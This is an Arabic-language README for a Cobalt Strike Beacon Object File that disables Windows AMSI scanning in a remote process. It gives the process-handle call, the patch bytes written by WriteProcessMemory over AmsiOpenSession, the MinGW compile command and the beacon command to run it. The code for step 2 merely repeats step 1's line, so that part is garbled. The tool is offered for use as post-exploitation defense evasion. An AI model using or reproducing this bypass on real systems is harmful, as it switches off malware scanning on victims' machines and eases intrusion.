Cobalt Strike BOF - حقن تجاوز AMSI
ملف كائن المنارة لـ Cobalt Strike (BOF) الذي يتجاوز AMSI في عملية بعيدة عن طريق حقن الكود.
تشغيل BOF inject-amsiBypass من CobaltStrike

ماذا يفعل هذا؟
1. استخدام وسيط PID المقدم للحصول على مقبض للعملية البعيدة
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
2. تحميل AMSI.DLL في ذاكرة المنارة والحصول على عنوان AMSI.AmsiOpenSession
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
- ستكون كل من المنارة والعملية الهدف لها نفس عنوان الرمز.
- إذا لم يكن AMSI.DLL موجودًا في العملية البعيدة، فقد يؤدي تشغيل هذا إلى تعطل العملية الهدف.
3. كتابة تجاوز AMSI إلى ذاكرة العملية البعيدة
unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax
BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten);
الطريقة = AMSI.AmsiOpenSession
- يستخدم تقنية تجاوز AMSI التي تم تدريسها في دورة PEN-300/OSEP (تقنيات التهرب واختراق الدفاعات) من Offensive Security.
لقطات شاشة إثبات المفهوم التجريبي
قبل - Powershell.exe AMSI.AmsiOpenSession

بعد - Powershell.exe AMSI.AmsiOpenSession

التجميع باستخدام x64 MinGW:
x86_64-w64-mingw32-gcc -c inject-amsiBypass.c -o inject-amsiBypass.o
التشغيل من وحدة تحكم Cobalt Strike Beacon
beacon> inject-amsiBypass <PID>
- تأكد من تحميل السكريبت inject-amsiBypass.cna في مدير السكريبتات لـ Cobalt Strike
قائمة المهام
- التحقق من وجود AMSI.DLL في العملية البعيدة قبل الحقن
- إضافة تجاوزات AMSI أخرى للحقن
- دعم x86
الشكر والمراجع
Raphael Mudge - ملفات كائن المنارة - Luser Demo
Cobalt Strike - ملفات كائن المنارة
مراجع كود BOF
ajpc500/BOFs
trustedsec/CS-Situational-Awareness-BOF
دورة أساسيات تطوير البرمجيات الخبيثة من Sektor7
Offensive Security OSEP